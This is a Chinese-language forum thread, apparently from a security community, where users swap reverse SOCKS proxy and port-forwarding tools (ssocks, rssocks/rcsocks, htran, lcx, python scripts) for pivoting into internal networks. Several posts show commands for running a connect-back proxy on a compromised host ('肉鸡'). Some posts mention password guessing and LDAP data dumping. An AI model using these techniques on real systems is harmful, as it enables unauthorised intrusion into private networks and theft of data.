没有windows支持么。。。

不支持windows么。。。。

@Icyblade 我这里倒是有支持windows的，socks5和http的都有。
这个上次用了一下，遇到不能执行二进制文件提示报错
bash: ./mocks: /lib/ld-linux.so.2: bad ELF interpreter: No such file or directory
少了依赖包zlib，glibc
后面找了一个python版的解决了这个问题。

附个py版的
https://gist.github.com/yaonie/2490851

大众点评么？

@无敌L.t.H 边界神器，test。

确实是神器。

@hongygxiang windows版的可否来一份？

http://sourceforge.net/projects/ssocks/

我更推荐这个，除了正向之外，还提供反弹回来进行socks5代理的功能。更为实用 ：）

@GaRY 牛逼，反弹的更实用，很多都是内网主机

@GaRY 感谢，我先去试试

瞎搞，防火墙只允许了一个8080的taomcat，郁闷啊

@Mujj reduh先搞个可以出外网的，然后再socks进内网

@cnrstar 果然是利器，谢谢。

@GaRY 这个给力啊可以反弹的代理

htran即可反弹SOCKS代理。楼上都没用过？

@暴暴 htran是windows下的嘛，楼上大都linux

@cnrstar Icyblade 这位牛不是要WIN么？

@hongygxiang 这不是知道创宇的一个牛牛写的吗

欢迎使用python版边界神器，外出旅行必备之Socks5代理
http://www.80vul.com/src/s5.py

@GaRY @xsser 遇到这个问题 没root ,开端口跨界方式不行..只能走反弹了 已经测试好.. 不过对方是x64 对Linux不熟悉 baoz这要root才可以解决 求指点http://baoz.net/%E4%BF%AE%E5%A4%8Dlibld-linux-so-2-bad-elf-interpreter-no-such-file-or-directory-%E9%97%AE%E9%A2%98/

@GaRY  不知道这个神器怎么反弹？  拿下目标内网 root  如何反弹并跨入内网呢？

@GaRY    我看了一下，好想没有反弹的功能，只看到了中继的功能。    连接上级服务器的SOCKS代理，然后监听自身的某个端口。

@坏虾 rcsocks，运行下看看用法

@GaRY 果然神器    顺便发一下三个工具的利用方法
内网肉鸡上运行  ./rssocks  --socks 本机IP:1080
本机执行  ./rcsocks    默认监听1080端口，转发到1088端口

最后一个神器  ssocks
root@bt:/opt/ssocks-0.0.13/src# ./ssocks
sSocks Socks5 Server Relay v0.0.13
Run a socks server on your localhost interface, and
relay all data to the server specified in --socks
Used to bypass browser limitation with authentication
Usage:
  ./ssocks --socks socksserv.com:1080
  ./ssocks --socks localhost:1080 --listen 1088
  ./ssocks --socks socksserv.com:1080 --uname admin --passwd abcde
  ./ssocks -s socksserv.com:1080 -u admin -p abcde -l 1080 -b
自己看吧

@GaRY 送上WB感谢。。。。

@GaRY   又一翻墙利器！   亲测速度很快，比之前的socks5.py + lcx 要稳定多了。

...我发现rcsocks 必须使用1080 不然转发不成功.

@GaRY 不错，赞一个

@坏虾@GaRY make install 的时候需要root权限，这就没意思了，要有root我还用它干嘛

不错~

@坏虾 必须要肉鸡上装rssocks么，那就是说肉鸡必须是linux么？
我如果在目标机运行rcsocks后用lcx转发到肉鸡可以么，肉鸡不装rssocks

@l4mbda  only make， not make install 。。。。。

@兜兜 你可以把windows肉鸡做端口转发  到本机（linux）   来做跳板

linux 做socket 端口反弹 不需要root

python有脚本 开socket 和端口转发

两个配合使用 普通权限 也能进内网

但是 socket代理下如果你用nmap扫东西 可能会提示一些错误，比如权限不足，需要你改变扫描参数

我在socket代理下进行域渗透的时候，可以猜密码、脱ldap的用户数据都么问题。

windows下可以考虑hd和lcx

用来用去  还是就用ks的python脚本 rtcp.py比较实在，外加s.py。分别实现lcx和hd的代理功能。修改代码容易点，没有python环境也可以编译以后扔上去。无非有点大。。

mark

mark

mark